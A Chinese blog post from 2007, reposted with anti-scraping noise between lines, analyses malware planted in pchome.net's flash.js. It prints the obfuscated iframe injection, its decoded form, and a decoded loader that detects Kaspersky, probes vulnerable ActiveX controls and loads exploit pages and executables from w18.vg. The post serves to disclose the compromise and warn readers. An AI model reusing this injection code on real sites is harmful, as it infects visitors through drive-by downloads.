|
截至2007-12-28 18:17 仍未修复' v/ Q, T& k! I( j2 e
' T4 f) a2 a- k, r2 z
0 r7 A: W8 x# F7 R, ?##I#KE+X#D=$I#KE+XDI=KE+=X++D$IK#E#X+DI$KE+X=D=IK$E+$X=$D#I+$KEX$#DI+K#EXD=IKE+X#D#=I==K+E==XD+I#K$E$#X$D##I6 i. c0 H& m. G: Q
4 z7 a" {) x; o2 w/ F从论坛看到的消息说pchome的某页面被挂马了,于是上去找,http://article.pchome.net/content-502393-7.html#topView2 V& P+ @% G" h5 C, @* `! Z* k
8 b- u! X5 U; E挂得比较隐蔽,http://btn.pchome.net/flash.js的中间被加入了如下代码:
# D- G: I5 }$ s- C% J* M: F1 a6 o* b* h
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65\x6c\x6e"]('\x3c\x69\x66\x72\x61\x6d\x65 \x68\x65\x69\x67\x68\x74\x3d\x30 \x77\x69\x64\x74\x68\x3d\x30 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\x35\x39\x2e\x76\x63\x2f\x70\x61\x67\x65\x2f\x61\x64\x64\x5f\x36\x34\x34\x34\x35\x35\x2e\x68\x74\x6d\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');
) T# _& N( J; S$ v
, [% P; `$ d2 `$ `) s! k* q+ q3 z也就是这个了:
5 r3 r5 p+ r( R9 a2 u. h; \2 ^/ C7 j7 z( D4 J% e5 O
window["document"]["writeln"]('<iframe height=0 width=0 src="http://www.59.vc/page/add_644455.htm"></iframe>');! {; g% W; \% i2 m% K5 l; e
- N% v: K' b% L但只有这个js还不会使得那个iframe生效,使得他生效的是调用这个js显示flash 的代码:
+ K1 |4 w3 W1 w. N" ]6 E8 p! ~+ o
<script language="javascript" type="text/javascript">
* J; P% @* P2 u$ c. mwriteflashhtml("_swf=http://btn.pchome.net/pchome/20071217/300_250.swf", "_width=300", "_height=250" ,"_wmode=opaque");* Q/ y9 ?$ n# d% i
</script>
) Y0 F! z/ {5 x* l `% B( @- [
! A4 T. e, n2 d8 o1 v有了这个,iframe就生效了;经过一番调用和解密后得:
3 z' u! e* P8 O0 V$ F# A" N% ]; v( x% O/ D% \; b6 b+ s
function bIsKIS(){for(i=2;i<26;i++){var kis6=new Image();var kis7=new Image();var root=String.fromCharCode(65+i);kis6.src="mkMSITStore:"+root+":\\Program Files\\Kaspersky Lab\\Kaspersky Internet Security 6.0\\Doc\\context.chm::/images/help.gif";kis7.src="mkMSITStore:"+root+":\\Program Files\\Kaspersky Lab\\Kaspersky Internet Security 7.0\\Doc\\context.chm::/images/help.gif";if(kis6.height==41||kis7.height==41)return true}return false}var Then=new Date();aaxxx="xxxyyyyfassssfsadfasdf";Then.setTime(Then.getTime()+24*60*60*1000);var aaffdasfascookie=new String(document.cookie);var cookieHeader="Cookie1=";aaxxx="xxxyyyyfassssfsadfasdf";if(!bIsKIS()&&aaffdasfascookie.indexOf(cookieHeader)==-1){aaxxx="xxxyyyyfassssfsadfasdf";document.cookie="Cookie1=POPWINDOS;expires="+Then.toGMTString();aaxxx="xxxyyyyfassssfsadfasdf";try{if(new ActiveXObject("IERPCtl.IERPCtl.1"))document.write('<iframe style=display:none src="http://w18.vg/real.gif"></iframe>')}catch(e){}try{if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)document.write('<iframe style=display:none src="http://w18.vg/ms.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("DPClient.Vod"))document.write('<iframe style=display:none src="http://w18.vg/xl.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))document.write('<iframe style=display:none src="http://w18.vg/lz.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("MPS.StormPlayer.1"))document.write('<iframe style=display:none src="http://w18.vg/bf.gif"></iframe>')}catch(e){}try{if(new ActiveXObject("BaiduBar.Tool.1"))document.write('<iframe style=display:none src="http://w18.vg/baidu.gif"></iframe>')}catch(e){}}
" o$ a8 |- b7 |! ?& i8 x
1 F0 c, h. k9 S$ L5 `6 iK##E+XD++IK+EX=#D$IKEXD+$I#KEXDI+K$EX$DI$$KE##X#DI=K+E$X=$DI#K+#EX=DIK=E$=XDIK=$EX=DIK$E$#X=D=I##KE#=X+$D+
3 D! j1 F! k2 W) n
: o1 b _- f" U( U- Z5 l( G! X
) ~! x0 y: ?4 A/ `3 \) V挑了几个解密得:http://w18.vg/s.exe
) `/ W6 d2 o8 ]# [& Z C' a
* |6 ~% @3 Q. l+ p' v! K6 C从这个文件里面得到另外一个链接:http://w18.vg/ss.exe
1 m, x: {) q7 ]# ~8 I
, P& v4 V1 o h有点面熟的东西……
# [' A9 t' K$ L% J' W& M- n: l8 z) X2 A# B+ O! e! }
##K=E#X+D=IKE$XD$=I==K+#EXD=#I=KE$+XDI#K$=EX=D=#IK+E=X$D==I=#K=E##X$D$+IK=#EXD+IK$EX$=D+I+K#E$XD+IKEX#D$ B# m2 M- f( m% u6 P
0 H! ]& c- N5 C$ C% H
从上面可以知道,出问题的是那个flash.js,因此所有使用这个js来放flash的页面全都有毒了!我随便找了几个页面,发现都是有毒的,这回可是大面积的被挂咯,同志们自己小心了。9 g3 A2 G, z: F. x
# u: z7 [8 r2 _; Y; ?+ M* J9 p7 z
K$EX=+DI#$KE+X#DIK$EXD$I=KE$XD+#I+KEXD=I+KE=X$D=I=KEXD#=IK==E$X=D=I#+KEXD=IK#EX#DI=K=E=X=#DIKEXDI#KE
0 q0 Y; Y Y) g$ F# E3 K
* s9 C; @$ O6 E8 h' a转载请保留声明!(http://hi.baidu.com/dikex/blog/item/36300afa339a8c889e5146f5.html) 9 [( F* W! e. E3 ?
/ R" P3 ?, ?! d
7 Y# y, C! u/ e9 R8 \
作者dikex(六翼刺猬),原文链接:http://hi.baidu.com/dikex/blog/item/92f804c70762ead8d10060ff.html |
|